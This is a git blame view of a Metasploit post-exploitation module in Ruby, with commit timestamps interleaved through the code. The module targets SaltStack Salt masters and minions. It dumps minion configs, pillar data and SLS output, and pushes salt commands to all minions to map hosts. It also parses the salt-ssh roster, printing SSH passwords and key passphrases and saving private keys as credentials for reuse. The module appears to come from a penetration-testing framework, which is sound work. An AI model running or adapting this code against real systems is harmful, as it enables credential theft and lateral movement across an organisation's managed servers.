Files
metasploit-gs/modules/post/multi/gather/saltstack_salt.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

296 lines
11 KiB
Ruby
Raw Normal View History

2020-11-24 19:36:58 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'yaml'
class MetasploitModule < Msf::Post
include Msf::Post::File
2023-12-23 13:52:52 -05:00
include Msf::Exploit::Local::Saltstack
2020-11-24 19:36:58 -05:00
def initialize(info = {})
super(
update_info(
info,
2021-05-03 19:34:37 -04:00
'Name' => 'SaltStack Salt Information Gatherer',
2021-04-10 13:46:19 -04:00
'Description' => %q{
2021-05-03 19:34:37 -04:00
This module gathers information from SaltStack Salt masters and minions.
2021-04-10 13:46:19 -04:00
Data gathered from minions: 1. salt minion config file
Data gathered from masters: 1. minion list (denied, pre, rejected, accepted)
2021-04-30 20:59:54 -04:00
2. minion hostname/ip/os (depending on module settings)
3. SLS
4. roster, any SSH keys are retrieved and saved to creds, SSH passwords printed
5. minion config files
6. pillar data
},
2020-11-29 07:45:59 -05:00
'Author' => [
2020-11-24 19:36:58 -05:00
'h00die',
'c2Vlcgo'
],
2020-11-29 07:45:59 -05:00
'SessionTypes' => %w[shell meterpreter],
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
2020-11-24 19:36:58 -05:00
)
)
2020-11-28 17:49:32 -05:00
register_options(
[
2020-12-01 17:26:51 -05:00
OptString.new('MINIONS', [true, 'Minions Target', '*']),
2020-11-29 07:45:59 -05:00
OptBool.new('GETHOSTNAME', [false, 'Gather Hostname from minions', true]),
OptBool.new('GETIP', [false, 'Gather IP from minions', true]),
2021-05-02 08:19:43 -04:00
OptBool.new('GETOS', [false, 'Gather OS from minions', true]),
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
2020-11-28 17:49:32 -05:00
]
)
end
2020-12-04 13:29:31 -05:00
def gather_pillars
print_status('Gathering pillar data')
begin
2021-05-02 08:19:43 -04:00
out = cmd_exec('salt', "'#{datastore['MINIONS']}' --output=yaml pillar.items", datastore['TIMEOUT'])
2020-12-04 13:29:31 -05:00
vprint_status(out)
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
2021-05-03 19:34:37 -04:00
store_path = store_loot('saltstack_pillar_data_gather', 'application/x-yaml', session, results.to_yaml, 'pillar_gather.yaml', 'SaltStack Salt Pillar Gather')
2021-04-10 13:46:19 -04:00
print_good("#{peer} - pillar data gathering successfully retrieved and saved to #{store_path}")
2020-12-04 13:29:31 -05:00
rescue Psych::SyntaxError
print_error('Unable to process pillar command output')
return
end
end
2020-11-28 17:49:32 -05:00
def gather_minion_data
2021-05-02 08:19:43 -04:00
print_status('Gathering data from minions (this can take some time)')
2020-11-28 17:49:32 -05:00
command = []
if datastore['GETHOSTNAME']
command << 'network.get_hostname'
end
if datastore['GETIP']
2020-11-29 07:45:59 -05:00
# command << 'network.ip_addrs'
2020-11-28 17:49:32 -05:00
command << 'network.interfaces'
end
if datastore['GETOS']
2021-04-30 20:59:54 -04:00
command << 'status.version' # seems to work on linux
command << 'system.get_system_info' # seems to work on windows, part of salt.modules.win_system
2020-11-28 17:49:32 -05:00
end
2020-11-29 07:45:59 -05:00
commas = ',' * (command.length - 1) # we need to provide empty arguments for each command
2020-12-01 17:26:51 -05:00
command = "salt '#{datastore['MINIONS']}' --output=yaml #{command.join(',')} #{commas}"
2020-11-28 17:49:32 -05:00
begin
2021-05-02 08:19:43 -04:00
out = cmd_exec(command, nil, datastore['TIMEOUT'])
2021-04-30 20:59:54 -04:00
if out == '' || out.nil?
2021-05-02 08:19:43 -04:00
print_error('No results returned. Try increasing the TIMEOUT or decreasing the minions being checked')
2021-04-30 20:59:54 -04:00
return
end
2020-12-01 17:26:51 -05:00
vprint_status(out)
2020-12-04 13:29:31 -05:00
results = YAML.safe_load(out, [Symbol]) # during testing we discovered at times Symbol needs to be loaded
2021-05-03 19:34:37 -04:00
store_path = store_loot('saltstack_minion_data_gather', 'application/x-yaml', session, results.to_yaml, 'minion_data_gather.yaml', 'SaltStack Salt Minion Data Gather')
2021-04-10 13:46:19 -04:00
print_good("#{peer} - minion data gathering successfully retrieved and saved to #{store_path}")
2020-11-28 17:49:32 -05:00
rescue Psych::SyntaxError
print_error('Unable to process gather command output')
return
end
2021-04-30 20:59:54 -04:00
return if results == false || results.nil?
2021-05-02 08:19:43 -04:00
return if results.include?('Salt request timed out.') || results.include?('Minion did not return.')
2020-11-29 07:45:59 -05:00
results.each do |_key, result|
2021-05-02 08:19:43 -04:00
# at times the first line may be "Minions returned with non-zero exit code", so we want to skip that
next if result.is_a? String
2020-11-28 17:49:32 -05:00
host_info = {
name: result['network.get_hostname'],
os_flavor: result['status.version'],
2021-05-03 19:34:37 -04:00
comments: "SaltStack Salt minion to #{session.session_host}"
2020-11-28 17:49:32 -05:00
}
2021-04-30 20:59:54 -04:00
# mac os
2021-05-02 08:19:43 -04:00
if result.key?('system.get_system_info') &&
result['system.get_system_info'].include?('Traceback') &&
result.key?('status.version') &&
result['status.version'].include?('unsupported on the current operating system')
2021-04-30 20:59:54 -04:00
host_info[:os_name] = 'osx' # taken from lib/msf/core/post/osx/system
2021-05-02 08:19:43 -04:00
host_info[:os_flavor] = ''
2021-04-30 20:59:54 -04:00
# windows will throw a traceback error for status.version
2021-05-02 08:19:43 -04:00
elsif result.key?('status.version') &&
result['status.version'].include?('Traceback')
2021-04-30 20:59:54 -04:00
info = result['system.get_system_info']
host_info[:os_name] = info['os_name']
host_info[:os_flavor] = info['os_version']
host_info[:purpose] = info['os_type']
end
2021-05-02 08:19:43 -04:00
unless datastore['GETIP'] # if we dont get IP, can't make hosts
print_good("Found minion: #{host_info[:name]} - #{host_info[:os_flavor]}")
next
end
2020-11-28 17:49:32 -05:00
result['network.interfaces'].each do |name, interface|
next if name == 'lo'
2021-04-30 20:59:54 -04:00
next if interface['hwaddr'] == ':::::' # Windows Software Loopback Interface
next unless interface.key? 'inet' # skip if it doesn't have an inet, macos had lots of this
2021-05-02 08:19:43 -04:00
next if interface['inet'][0]['address'] == '127.0.0.1' # ignore localhost
2020-11-29 07:45:59 -05:00
2020-11-28 17:49:32 -05:00
host_info[:mac] = interface['hwaddr']
host_info[:host] = interface['inet'][0]['address'] # ignoring inet6
report_host(host_info)
print_good("Found minion: #{host_info[:name]} (#{host_info[:host]}) - #{host_info[:os_flavor]}")
end
end
2020-11-24 19:36:58 -05:00
end
2023-12-23 13:52:52 -05:00
def list_minions_printer
minions = list_minions
return if minions.nil?
tbl = Rex::Text::Table.new(
2020-11-29 07:45:59 -05:00
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)
2023-12-23 13:52:52 -05:00
minions.each do |minion|
tbl << ['Accepted', minion]
end
minions['minions_pre'].each do |minion|
tbl << ['Unaccepted', minion]
end
minions['minions_rejected'].each do |minion|
tbl << ['Rejected', minion]
end
minions['minions_denied'].each do |minion|
tbl << ['Denied', minion]
end
print_good(tbl.to_s)
end
2020-11-24 19:36:58 -05:00
def minion
print_status('Looking for salt minion config files')
2020-11-28 17:49:32 -05:00
# https://github.com/saltstack/salt/blob/b427688048fdbee106f910c22ebeb105eb30aa10/doc/ref/configuration/minion.rst#configuring-the-salt-minion
2020-11-29 07:45:59 -05:00
[
2021-05-02 10:01:06 -04:00
'/etc/salt/minion', # linux, osx
'C://salt//conf//minion',
'/usr/local/etc/salt/minion' # freebsd
2021-04-30 20:59:54 -04:00
].each do |config|
2020-11-25 05:10:39 -05:00
next unless file?(config)
2020-11-29 07:45:59 -05:00
minion = YAML.safe_load(read_file(config))
2020-11-24 19:36:58 -05:00
if minion['master']
print_good("Minion master: #{minion['master']}")
2020-11-24 19:36:58 -05:00
end
2021-05-03 19:34:37 -04:00
store_path = store_loot('saltstack_minion', 'application/x-yaml', session, minion.to_yaml, 'minion.yaml', 'SaltStack Salt Minion File')
2021-04-10 13:46:19 -04:00
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
2021-05-02 10:01:06 -04:00
break # no need to process more
2020-11-24 19:36:58 -05:00
end
end
def master
2023-12-23 13:52:52 -05:00
list_minions_printer
2021-04-10 13:46:19 -04:00
gather_minion_data if datastore['GETOS'] || datastore['GETHOSTNAME'] || datastore['GETIP']
2020-11-24 19:36:58 -05:00
# get sls files
unless command_exists?('salt')
print_error('salt not found on system')
return
end
2021-04-10 13:46:19 -04:00
print_status('Showing SLS')
2021-05-02 08:19:43 -04:00
output = cmd_exec('salt', "'#{datastore['MINIONS']}' state.show_sls '*'", datastore['TIMEOUT'])
2021-05-03 19:34:37 -04:00
store_path = store_loot('saltstack_sls', 'text/plain', session, output, 'sls.txt', 'SaltStack Salt Master SLS Output')
2021-04-10 13:46:19 -04:00
print_good("#{peer} - SLS output successfully retrieved and saved to #{store_path}")
2020-11-24 19:36:58 -05:00
# get roster
2020-11-28 17:49:32 -05:00
# https://github.com/saltstack/salt/blob/023528b3b1b108982989c4872c138d1796821752/doc/topics/ssh/roster.rst#salt-rosters
print_status('Loading roster')
2020-11-29 07:45:59 -05:00
priv_values = {}
['/etc/salt/roster'].each do |config|
next unless file?(config)
2020-11-29 07:45:59 -05:00
begin
2020-11-29 07:45:59 -05:00
minions = YAML.safe_load(read_file(config))
rescue Psych::SyntaxError
print_error("Unable to load #{config}")
next
2020-11-24 19:36:58 -05:00
end
2021-05-15 09:38:15 -04:00
store_path = store_loot('saltstack_roster', 'application/x-yaml', session, minion.to_yaml, 'roster.yaml', 'SaltStack Salt Roster File')
print_good("#{peer} - roster file successfully retrieved and saved to #{store_path}")
next if minions.nil?
2020-11-29 07:45:59 -05:00
minions.each do |name, minion|
2020-11-28 17:49:32 -05:00
host = minion['host'] # aka ip
user = minion['user']
2020-11-29 07:45:59 -05:00
port = minion['port'] || 22
passwd = minion['passwd']
2020-11-29 07:45:59 -05:00
# sudo = minion['sudo'] || false
priv = minion['priv'] || false
2020-11-28 17:49:32 -05:00
priv_pass = minion['priv_passwd'] || false
2020-11-29 07:45:59 -05:00
print_good("Found SSH minion: #{name} (#{host})")
# make a special print for encrypted ssh keys
unless priv_pass == false
print_good(" SSH key #{priv} password #{priv_pass}")
report_note(host: host,
proto: 'TCP',
port: port,
type: 'SSH Key Password',
data: "#{priv} => #{priv_pass}")
end
2020-11-29 07:45:59 -05:00
2020-11-28 17:49:32 -05:00
host_info = {
name: name,
2021-05-03 19:34:37 -04:00
comments: "SaltStack Salt ssh minion to #{session.session_host}",
2020-11-28 17:49:32 -05:00
host: host
}
report_host(host_info)
2020-11-29 07:45:59 -05:00
cred = {
address: host,
port: port,
protocol: 'tcp',
workspace_id: myworkspace_id,
origin_type: :service,
private_type: :password,
service_name: 'SSH',
module_fullname: fullname,
username: user,
status: Metasploit::Model::Login::Status::UNTRIED
}
if passwd
cred[:private_data] = passwd
create_credential_and_login(cred)
next
end
# handle ssh keys if it wasn't a password
cred[:private_type] = :ssh_key
if priv_values[priv]
cred[:private_data] = priv_values[priv]
create_credential_and_login(cred)
next
end
unless file?(priv)
print_error(" Unable to find salt-ssh priv key #{priv}")
next
end
input = read_file(priv)
2021-05-03 19:34:37 -04:00
store_path = store_loot('ssh_key', 'plain/txt', session, input, 'salt-ssh.rsa', 'SaltStack Salt SSH Private Key')
2020-11-29 07:45:59 -05:00
print_good(" #{priv} stored to #{store_path}")
priv_values[priv] = input
cred[:private_data] = input
create_credential_and_login(cred)
2020-11-28 17:49:32 -05:00
end
2020-11-24 19:36:58 -05:00
end
2020-12-04 13:29:31 -05:00
gather_pillars
2020-11-24 19:36:58 -05:00
end
def run
2020-11-25 05:10:39 -05:00
if session.platform == 'windows'
2021-05-02 10:01:06 -04:00
# the docs dont show that you can run as a master, nor was the master .bat included as of this writing
minion
2020-11-25 05:10:39 -05:00
end
minion if command_exists?('salt-minion')
master if command_exists?('salt-master')
2020-11-24 19:36:58 -05:00
end
end